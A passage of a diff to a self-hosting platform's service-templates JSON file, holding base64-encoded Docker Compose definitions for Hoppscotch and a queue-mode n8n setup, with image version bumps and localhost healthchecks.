7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9QUFNDT1RDSF84MAogICAgICAtICdWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM9JHtWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM6LUdPT0dMRSxHSVRIVUIsTUlDUk9TT0ZULEVNQUlMfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBob3Bwc2NvdGNoLWRiOjU0MzIvJHtQT1NUR1JFU19EQn0nCiAgICAgIC0gJ0RBVEFfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9EQVRBRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ1dISVRFTElTVEVEX09SSUdJTlM9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0sJHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnTUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUz0ke01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M6LXRydWV9JwogICAgICAtICdWSVRFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9HUUxfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjInCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjQnCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWF